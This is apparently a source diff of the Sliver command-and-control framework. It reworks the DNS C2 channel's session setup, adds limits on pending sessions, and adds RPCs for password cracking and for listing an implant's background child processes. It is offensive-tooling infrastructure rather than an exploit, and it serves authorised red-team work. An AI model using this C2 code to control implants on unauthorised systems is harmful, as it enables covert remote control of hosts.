0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12, 0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e,
|
||||
0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a, 0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f,
|
||||
0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x07, 0x12, 0x15, 0x0a, 0x11,
|
||||
0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e,
|
||||
0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c,
|
||||
0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
|
||||
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
|
||||
0x6f, 0x74, 0x6f, 0x33,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f,
|
||||
0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12,
|
||||
0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e, 0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a,
|
||||
0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54,
|
||||
0x10, 0x07, 0x12, 0x15, 0x0a, 0x11, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f,
|
||||
0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45,
|
||||
0x41, 0x52, 0x10, 0x09, 0x22, 0x04, 0x08, 0x01, 0x10, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
|
||||
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
|
||||
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
|
||||
0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
|
||||
|
||||
enum DNSMessageType {
|
||||
NOP = 0; // aka FINGERPRINT
|
||||
TOTP = 1;
|
||||
reserved 1; // formerly TOTP
|
||||
INIT = 2;
|
||||
POLL = 3;
|
||||
CLOSE = 4;
|
||||
@@ -17,10 +17,7 @@ enum DNSMessageType {
|
||||
|
||||
/*
|
||||
NOTE: DNS is very space sensitive so certain fields are re-purposed
|
||||
depending on the DNSMessageType as noted below:
|
||||
|
||||
[Type TOTP]: ID field is used for the TOTP code
|
||||
|
||||
depending on the DNSMessageType.
|
||||
*/
|
||||
message DNSMessage {
|
||||
DNSMessageType Type = 1;
|
||||
@@ -29,4 +26,4 @@ message DNSMessage {
|
||||
uint32 Stop = 4; // Bytes stop at
|
||||
uint32 Size = 5; // Total size
|
||||
bytes Data = 6; // Actual data
|
||||
}
|
||||
}
|
||||
+1005
-989
File diff suppressed because it is too large.
Load diff
@@ -112,6 +112,7 @@ service SliverRPC {
|
||||
returns (clientpb.CertificateAuthorityInfo);
|
||||
|
||||
// *** Crackstation ***
|
||||
rpc Crack(clientpb.CrackCommand) returns (clientpb.CrackResponse);
|
||||
rpc CrackstationRegister(clientpb.Crackstation)
|
||||
returns (stream clientpb.Event);
|
||||
rpc CrackstationTrigger(clientpb.Event) returns (commonpb.Empty);
|
||||
@@ -195,6 +196,7 @@ service SliverRPC {
|
||||
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
|
||||
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
|
||||
rpc ExecuteChildren(sliverpb.ExecuteChildrenReq) returns (sliverpb.ExecuteChildren);
|
||||
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
|
||||
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
|
||||
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
|
||||
|
||||
@@ -98,6 +98,7 @@ type SliverRPCClient interface {
|
||||
GetCertificateInfo(ctx context.Context, in *clientpb.CertificatesReq, opts ...grpc.CallOption) (*clientpb.CertificateInfo, error)
|
||||
GetCertificateAuthorityInfo(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.CertificateAuthorityInfo, error)
|
||||
// *** Crackstation ***
|
||||
Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error)
|
||||
CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error)
|
||||
CrackstationTrigger(ctx context.Context, in *clientpb.Event, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
CrackstationBenchmark(ctx context.Context, in *clientpb.CrackBenchmark, opts ...grpc.CallOption) (*commonpb.Empty, error)
|
||||
@@ -169,6 +170,7 @@ type SliverRPCClient interface {
|
||||
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
|
||||
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
|
||||
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
|
||||
@@ -823,6 +825,15 @@ func (c *sliverRPCClient) GetCertificateAuthorityInfo(ctx context.Context, in *c
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Crack(ctx context.Context, in *clientpb.CrackCommand, opts ...grpc.CallOption) (*clientpb.CrackResponse, error) {
|
||||
out := new(clientpb.CrackResponse)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Crack", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
|
||||
stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], "/rpcpb.SliverRPC/CrackstationRegister", opts...)
|
||||
if err != nil {
|
||||
@@ -1458,6 +1469,15 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error) {
|
||||
out := new(sliverpb.ExecuteChildren)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteChildren", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
|
||||
out := new(sliverpb.Sideload)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
|
||||
@@ -2110,6 +2130,7 @@ type SliverRPCServer interface {
|
||||
GetCertificateInfo(context.Context, *clientpb.CertificatesReq) (*clientpb.CertificateInfo, error)
|
||||
GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error)
|
||||
// *** Crackstation ***
|
||||
Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error)
|
||||
CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error
|
||||
CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error)
|
||||
CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error)
|
||||
@@ -2181,6 +2202,7 @@ type SliverRPCServer interface {
|
||||
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
|
||||
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
|
||||
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
|
||||
ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error)
|
||||
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
|
||||
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
|
||||
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
|
||||
@@ -2430,6 +2452,9 @@ func (UnimplementedSliverRPCServer) GetCertificateInfo(context.Context, *clientp
|
||||
func (UnimplementedSliverRPCServer) GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Crack not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error {
|
||||
return status.Errorf(codes.Unimplemented, "method CrackstationRegister not implemented")
|
||||
}
|
||||
@@ -2634,6 +2659,9 @@ func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteRe
|
||||
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
|
||||
}
|
||||
@@ -3888,6 +3916,24 @@ func _SliverRPC_GetCertificateAuthorityInfo_Handler(srv interface{}, ctx context
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Crack_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(clientpb.CrackCommand)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Crack(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Crack",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Crack(ctx, req.(*clientpb.CrackCommand))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_CrackstationRegister_Handler(srv interface{}, stream grpc.ServerStream) error {
|
||||
m := new(clientpb.Crackstation)
|
||||
if err := stream.RecvMsg(m); err != nil {
|
||||
@@ -5115,6 +5161,24 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_ExecuteChildren_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.ExecuteChildrenReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/ExecuteChildren",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).ExecuteChildren(ctx, req.(*sliverpb.ExecuteChildrenReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.SideloadReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -6377,6 +6441,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "GetCertificateAuthorityInfo",
|
||||
Handler: _SliverRPC_GetCertificateAuthorityInfo_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Crack",
|
||||
Handler: _SliverRPC_Crack_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "CrackstationTrigger",
|
||||
Handler: _SliverRPC_CrackstationTrigger_Handler,
|
||||
@@ -6645,6 +6713,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "ExecuteWindows",
|
||||
Handler: _SliverRPC_ExecuteWindows_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "ExecuteChildren",
|
||||
Handler: _SliverRPC_ExecuteChildren_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Sideload",
|
||||
Handler: _SliverRPC_Sideload_Handler,
|
||||
|
||||
@@ -355,6 +355,9 @@ const (
|
||||
|
||||
// MsgShellResizeReq - Resize a shell PTY
|
||||
MsgShellResizeReq
|
||||
|
||||
// MsgExecuteChildrenReq - List tracked background execute child processes
|
||||
MsgExecuteChildrenReq
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -460,6 +463,8 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
return MsgIfconfig
|
||||
case *ExecuteReq:
|
||||
return MsgExecuteReq
|
||||
case *ExecuteChildrenReq:
|
||||
return MsgExecuteChildrenReq
|
||||
case *TerminateReq:
|
||||
return MsgTerminateReq
|
||||
case *Terminate:
|
||||
|
||||
+1956
-1646
File diff suppressed because it is too large.
Load diff
@@ -517,6 +517,7 @@ message ExecuteReq {
|
||||
string Stderr = 5;
|
||||
bool EnvInheritance = 6;
|
||||
map<string, string> Env = 7;
|
||||
bool Background = 8;
|
||||
|
||||
uint32 PPid = 10;
|
||||
|
||||
@@ -531,6 +532,7 @@ message ExecuteWindowsReq {
|
||||
string Stderr = 5;
|
||||
bool UseToken = 6;
|
||||
bool HideWindow = 7;
|
||||
bool Background = 8;
|
||||
uint32 PPid = 10;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
@@ -545,6 +547,31 @@ message Execute {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ExecuteChildrenReq {
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message ExecuteChild {
|
||||
int32 Pid = 1;
|
||||
string Path = 2;
|
||||
repeated string Args = 3;
|
||||
|
||||
int64 StartTime = 4;
|
||||
bool Exited = 5;
|
||||
int32 ExitCode = 6;
|
||||
int64 ExitTime = 7;
|
||||
|
||||
string Stdout = 8;
|
||||
string Stderr = 11;
|
||||
string Error = 12;
|
||||
}
|
||||
|
||||
message ExecuteChildren {
|
||||
repeated ExecuteChild Children = 1;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message SideloadReq {
|
||||
bytes Data = 1;
|
||||
string ProcessName = 2;
|
||||
|
||||
+185
-66
@@ -21,14 +21,12 @@ package c2
|
||||
|
||||
We've put a little effort to making the server at least not super easily fingerprintable,
|
||||
though I'm guessing it's also still not super hard to do. The server must receive a valid
|
||||
TOTP code before we start returning any non-error records. All requests must be formatted
|
||||
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
|
||||
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
|
||||
16,777,216 can probably be bruteforced but it'll at least be slow.
|
||||
protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a 8 bit
|
||||
"message ID." 16,777,216 can probably be bruteforced but it'll at least be slow.
|
||||
|
||||
DNS command and control outline:
|
||||
1. Implant sends TOTP encoded message to DNS server, server checks validity
|
||||
2. DNS server responds with the "DNS Session ID" which is just some random value
|
||||
1. Implant generates a random DNS Session ID and sends an INIT (Age key exchange)
|
||||
2. DNS server validates INIT and allocates session state
|
||||
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
|
||||
4. Implant establishes encrypted session
|
||||
|
||||
@@ -44,6 +42,7 @@ import (
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -66,6 +65,17 @@ const (
|
||||
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
|
||||
|
||||
defaultMaxTXTLength = 254
|
||||
|
||||
// Upper bound on unauthenticated init reassembly state. INIT is split across multiple
|
||||
// DNS queries, so we cap the number of pending init messages to avoid unbounded memory use.
|
||||
defaultMaxPendingDNSInits = 1024
|
||||
|
||||
// Pending INIT messages are expected to complete quickly. If they don't, expire them.
|
||||
defaultPendingDNSInitTTL = 2 * time.Minute
|
||||
defaultPendingDNSInitGCInterval = 30 * time.Second
|
||||
|
||||
// INIT carries only key-exchange material and should remain small.
|
||||
defaultMaxDNSInitSize = 16 * 1024
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -78,7 +88,7 @@ var (
|
||||
)
|
||||
|
||||
// StartDNSListener - Start a DNS listener
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
|
||||
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
|
||||
// StartPivotListener()
|
||||
server := &SliverDNSServer{
|
||||
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
|
||||
@@ -86,8 +96,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
|
||||
messages: &sync.Map{}, // In progress message streams
|
||||
TTL: 0,
|
||||
MaxTXTLength: defaultMaxTXTLength,
|
||||
EnforceOTP: enforceOTP,
|
||||
}
|
||||
server.startInitGC()
|
||||
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
|
||||
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
|
||||
started := time.Now()
|
||||
@@ -103,6 +113,9 @@ type DNSSession struct {
|
||||
ImplantConn *core.ImplantConnection
|
||||
CipherCtx *cryptography.CipherContext
|
||||
|
||||
Created time.Time
|
||||
lastSeen atomic.Int64 // unix nanos
|
||||
|
||||
dnsIdMsgIdMap map[uint32]uint32
|
||||
outgoingMsgIDs []uint32
|
||||
outgoingBuffers map[uint32][]byte
|
||||
@@ -113,6 +126,10 @@ type DNSSession struct {
|
||||
msgCount uint32
|
||||
}
|
||||
|
||||
func (s *DNSSession) touch(now time.Time) {
|
||||
s.lastSeen.Store(now.UnixNano())
|
||||
}
|
||||
|
||||
func (s *DNSSession) msgID(id uint32) uint32 {
|
||||
return uint32(id<<24) | uint32(s.ID)
|
||||
}
|
||||
@@ -256,6 +273,13 @@ type PendingEnvelope struct {
|
||||
complete bool
|
||||
}
|
||||
|
||||
// pendingInit tracks the reassembly state for an INIT message (which may arrive
|
||||
// split across multiple DNS queries).
|
||||
type pendingInit struct {
|
||||
Created time.Time
|
||||
Envelope *PendingEnvelope
|
||||
}
|
||||
|
||||
// Reassemble - Reassemble a completed message
|
||||
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
|
||||
// There's some weird race here with a nil pointer
|
||||
@@ -316,11 +340,23 @@ type SliverDNSServer struct {
|
||||
messages *sync.Map
|
||||
TTL uint32
|
||||
MaxTXTLength int
|
||||
EnforceOTP bool
|
||||
|
||||
pendingInits atomic.Int64
|
||||
gcStopOnce sync.Once
|
||||
gcStop chan struct{}
|
||||
gcDone chan struct{}
|
||||
}
|
||||
|
||||
// Shutdown - Shutdown the DNS server
|
||||
func (s *SliverDNSServer) Shutdown() error {
|
||||
s.gcStopOnce.Do(func() {
|
||||
if s.gcStop != nil {
|
||||
close(s.gcStop)
|
||||
if s.gcDone != nil {
|
||||
<-s.gcDone
|
||||
}
|
||||
}
|
||||
})
|
||||
return s.server.Shutdown()
|
||||
}
|
||||
|
||||
@@ -329,6 +365,56 @@ func (s *SliverDNSServer) ListenAndServe() error {
|
||||
return s.server.ListenAndServe()
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) startInitGC() {
|
||||
// Tests construct SliverDNSServer directly; only start GC for real listeners.
|
||||
if s.gcStop != nil {
|
||||
return
|
||||
}
|
||||
s.gcStop = make(chan struct{})
|
||||
s.gcDone = make(chan struct{})
|
||||
go func() {
|
||||
ticker := time.NewTicker(defaultPendingDNSInitGCInterval)
|
||||
defer ticker.Stop()
|
||||
defer close(s.gcDone)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ticker.C:
|
||||
s.gcPendingInits()
|
||||
case <-s.gcStop:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *SliverDNSServer) gcPendingInits() {
|
||||
now := time.Now()
|
||||
var deleted int64
|
||||
s.messages.Range(func(key, value any) bool {
|
||||
p, ok := value.(*pendingInit)
|
||||
if !ok || p == nil {
|
||||
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||
deleted++
|
||||
}
|
||||
return true
|
||||
}
|
||||
created := p.Created
|
||||
if created.IsZero() {
|
||||
created = now
|
||||
}
|
||||
if now.Sub(created) > defaultPendingDNSInitTTL {
|
||||
if _, loaded := s.messages.LoadAndDelete(key); loaded {
|
||||
deleted++
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if deleted > 0 {
|
||||
s.pendingInits.Add(-deleted)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// DNS Handler
|
||||
// ---------------------------
|
||||
@@ -354,6 +440,9 @@ func (s *SliverDNSServer) HandleDNSRequest(domains []string, canaries bool, writ
|
||||
resp = s.handleCanary(req)
|
||||
}
|
||||
if resp != nil {
|
||||
// These responses often have near-max-length QNAMEs. Enable compression to
|
||||
// keep UDP responses under the minimum DNS message size limits.
|
||||
resp.Compress = true
|
||||
writer.WriteMsg(resp)
|
||||
} else {
|
||||
dnsLog.Infof("Invalid query, no DNS response")
|
||||
@@ -384,24 +473,26 @@ func (s *SliverDNSServer) handleC2(domain string, req *dns.Msg) *dns.Msg {
|
||||
return s.nameErrorResp(req)
|
||||
}
|
||||
|
||||
// TOTP Handler can be called without dns session ID
|
||||
if msg.Type == dnspb.DNSMessageType_TOTP {
|
||||
return s.handleHello(domain, msg, req)
|
||||
// INIT can be called without an existing server-side session. The server only
|
||||
// stores session state after validating the key exchange.
|
||||
if msg.Type == dnspb.DNSMessageType_INIT {
|
||||
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
||||
}
|
||||
|
||||
// All other handlers require a valid dns session ID
|
||||
_, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
sessionValue, ok := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
if !ok {
|
||||
dnsLog.Warnf("[dns] session not found for id %v (%v)", msg.ID, msg.ID&sessionIDBitMask)
|
||||
return s.nameErrorResp(req)
|
||||
}
|
||||
if session, ok := sessionValue.(*DNSSession); ok && session != nil {
|
||||
session.touch(time.Now())
|
||||
}
|
||||
|
||||
// Msg Type -> Handler
|
||||
switch msg.Type {
|
||||
case dnspb.DNSMessageType_NOP:
|
||||
return s.handleNOP(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_INIT:
|
||||
return s.handleDNSSessionInit(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_POLL:
|
||||
return s.handlePoll(domain, msg, checksum, req)
|
||||
case dnspb.DNSMessageType_DATA_FROM_IMPLANT:
|
||||
@@ -456,81 +547,86 @@ func (s *SliverDNSServer) accumulateInitData(msg *dnspb.DNSMessage) ([]byte, boo
|
||||
if msg.Size == 0 {
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
if msg.Size > defaultMaxDNSInitSize {
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
pendingValue, loaded := s.messages.Load(msg.ID)
|
||||
if !loaded {
|
||||
pendingValue = &PendingEnvelope{
|
||||
Size: msg.Size,
|
||||
received: uint32(0),
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
// Enforce a hard cap on pending INIT messages to prevent unbounded allocation.
|
||||
next := s.pendingInits.Add(1)
|
||||
if int64(defaultMaxPendingDNSInits) > 0 && next > int64(defaultMaxPendingDNSInits) {
|
||||
s.pendingInits.Add(-1)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
|
||||
pendingValue = &pendingInit{
|
||||
Created: time.Now(),
|
||||
Envelope: &PendingEnvelope{
|
||||
Size: msg.Size,
|
||||
received: uint32(0),
|
||||
messages: map[uint32][]byte{},
|
||||
mutex: &sync.Mutex{},
|
||||
complete: false,
|
||||
},
|
||||
}
|
||||
actual, loaded := s.messages.LoadOrStore(msg.ID, pendingValue)
|
||||
if loaded {
|
||||
// Another goroutine won the race. Roll back our pending counter.
|
||||
s.pendingInits.Add(-1)
|
||||
pendingValue = actual
|
||||
}
|
||||
actual, _ := s.messages.LoadOrStore(msg.ID, pendingValue)
|
||||
pendingValue = actual
|
||||
}
|
||||
pending := pendingValue.(*PendingEnvelope)
|
||||
p, ok := pendingValue.(*pendingInit)
|
||||
if !ok || p == nil || p.Envelope == nil {
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
pending := p.Envelope
|
||||
if pending.Size != msg.Size && msg.Size != 0 {
|
||||
s.messages.Delete(msg.ID)
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
if !pending.Insert(msg) {
|
||||
return nil, false, nil
|
||||
}
|
||||
|
||||
if pending.received > pending.Size {
|
||||
s.deletePendingInit(msg.ID)
|
||||
return nil, false, ErrInvalidMsg
|
||||
}
|
||||
|
||||
data, err := pending.Reassemble()
|
||||
s.messages.Delete(msg.ID)
|
||||
s.deletePendingInit(msg.ID)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return data, true, nil
|
||||
}
|
||||
|
||||
// ---------------------------
|
||||
// DNS Message Handlers
|
||||
// ---------------------------
|
||||
func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req *dns.Msg) *dns.Msg {
|
||||
dnsLog.Debugf("[dns] totp request: %v", msg)
|
||||
|
||||
dnsSessionID := dnsSessionID()
|
||||
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
|
||||
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
|
||||
ID: dnsSessionID & sessionIDBitMask,
|
||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
incomingEnvelopes: map[uint32]*PendingEnvelope{},
|
||||
incomingMutex: &sync.Mutex{},
|
||||
msgCount: uint32(0),
|
||||
})
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
resp.Authoritative = true
|
||||
respBuf := make([]byte, 4)
|
||||
